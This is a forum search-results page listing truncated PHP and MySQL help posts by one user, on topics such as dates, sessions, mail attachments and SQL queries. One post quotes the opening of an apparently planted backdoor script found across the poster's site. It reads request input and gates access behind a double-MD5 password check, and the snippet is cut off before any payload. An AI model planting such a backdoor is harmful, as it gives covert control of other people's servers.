dcsimg
www.webdeveloper.com

Search:

Type: Posts; User: Alan P

Page 1 of 5 1 2 3 4

Search: Search took 0.02 seconds.

  1. Thread: Dates

    by Alan P
    Replies
    3
    Views
    498

    I think the best thing for me to do here is to...

    I think the best thing for me to do here is to get another hosting account and ask them to install PHP 5.3 or greater. I have several websites on my current hosting account and many of those use...
  2. Thread: Dates

    by Alan P
    Replies
    3
    Views
    498

    Dates

    I use Xampp to write/test codes before uploading to hosted server. Unfortunately my hosted server uses an older version of PHP (5.2.17) than Xampp (PHP Version 5.4.7).

    I need to accomplish the...
  3. Replies
    2
    Views
    421

    Yes it does. I thought perhaps that might be the...

    Yes it does. I thought perhaps that might be the case.
    Thank you.
  4. Replies
    2
    Views
    421

    $_SESSIONS['question'];

    Hello,

    I have an if, elseif, else statement and each one has a formula that calculates a different price and late fee. Also, in each one is a link to the payment processing page, which has a form...
  5. Replies
    6
    Views
    683

    I've installed PHPmailer on my server and I have...

    I've installed PHPmailer on my server and I have an email form with a file upload for the user to upload a resume file. Most of the tutorials I've found deals with sending images, but I only want a...
  6. Replies
    6
    Views
    683

    While I'm here though, I need a secure way to...

    While I'm here though, I need a secure way to send an email with an attachment (.txt, .doc, docx files - no images). I'm using PHP 5.2.17. Any ideas?

    Thanks
  7. Replies
    6
    Views
    683

    :o oops. Sorry, should have caught that. Thanks

    :o oops. Sorry, should have caught that. Thanks
  8. Replies
    6
    Views
    683

    Undefined index: $eemail

    I keep getting the Undefined index error and can't figure out why.


    if (isset($_POST['eemail']) && !empty($_POST['eemail']))
    {
    if...
  9. Thanks to both of you for the information. It was...

    Thanks to both of you for the information. It was a great help! I'll study up on the sprintf function, sounds interesting.
    Thanks again.
  10. [RESOLVED] Mixing array elements with a variable string

    $lang = array(
    'city' => 'Dallas',
    'stateabb' => 'TX'
    );

    $title = "About {$lang['city']}, {$lang['stateabb']} USA";
    $title = "About " . {$lang['city']} . ", " . {$lang['stateabb']} . " USA";...
  11. I'll look into it. Thanks for the tip and the...

    I'll look into it. Thanks for the tip and the help.
  12. Yes, I believe the page you linked to said that...

    Yes, I believe the page you linked to said that the second parameter was the array to be searched, which would be $losers.

    I used "if (!in_array($user_agents, $losers, true))" which I took to mean...
  13. if (!in_array($user_agents, $losers, true)) ...

    if (!in_array($user_agents, $losers, true))

    The website owner wanted a visitor counter, but I didn't want some robots counted so I wanted to check the HTTP_USER_AGENT of those accessing the...
  14. [RESOLVED] Warning: Wrong parameter count for in_array() in...

    I'm getting this error on my page counter: Warning: Wrong parameter count for in_array() in... on line 14.

    Here's the code:


    $user_agents = getenv('HTTP_USER_AGENT');
    $losers = array(...
  15. I'm glad you were able to get it working. Is...

    I'm glad you were able to get it working. Is there any way to mark this thread resolved if it is resolved?
  16. Replies
    7
    Views
    8,798

    It depends on how you make your website and...

    It depends on how you make your website and pages. If you start getting "headers already sent" error messages then you may want to consider using ob_start and ob_end_flush.
  17. Replies
    7
    Views
    8,798

    I use this at the top of every page that I'm...

    I use this at the top of every page that I'm using sessions on or wanting to carry sessions over on:
    <?php
    ob_start();
    session_start();

    and this on the bottom of every page:

    ob_end_flush();...
  18. Your form does not set $email up as a POST...

    Your form does not set $email up as a POST variable that I see.

    You can simplify things a bit too, by just writing echo " And include everything you want then use "; when you're done instead of...
  19. The book PHP and MYSQL Second Edition by Larry...

    The book PHP and MYSQL Second Edition by Larry Ullman has a chapter creating such a program. It's based on PHP 5 and MySQL 4.1. You can probably pick it up a copy for a good price.

    People will...
  20. mktime() throwing errors - use time() instead

    I was using codes below to display months and years in a form but with a PHP upgrade it's throwing E_STRICT notice: errors saying I should use the time() function instead. How can I modify these code...
  21. Replies
    2
    Views
    1,483

    At first I thought it may have been something my...

    At first I thought it may have been something my hosting company put on, but when I got to looking around I found this same script in each one of my folders (even my htacces protected folders) and...
  22. Replies
    2
    Views
    1,483

    Strange php file

    Can anyone tell me what this script does?


    $r=$_REQUEST;
    $c=getcwd();
    $n=chr(32);
    print('468505ab9718d8c2205ea35d94f04668');
    if(md5(md5(@$r['p']))=='3829c383a1277bd6e7e108ab36f8f03c'){...
  23. Replies
    3
    Views
    814

    Something went wrong when I tried to edit my last...

    Something went wrong when I tried to edit my last reply.

    What I was trying to say is that in my actual script I had an "ORDER BY" clause and I had placed it before the WHERE clause. Simple...
  24. Replies
    3
    Views
    814

    I feel stupid... I had an "ORDER BY" in my actual...

    I feel stupid... I had an "ORDER BY" in my actual script and I had it before the where clause. It's working now.

    Sorry guys.
  25. Replies
    3
    Views
    814

    Use a decimal number in a search query

    How can I use a decimal number in a search query?


    $sql = "SELECT * FROM table WHERE amount=1.00";

    and

    $sql = "SELECT * FROM table WHERE amount=.65";
    I've tried this:
    $sql = "SELECT *...
Results 1 to 25 of 108
Page 1 of 5 1 2 3 4
HTML5 Development Center



Recent Articles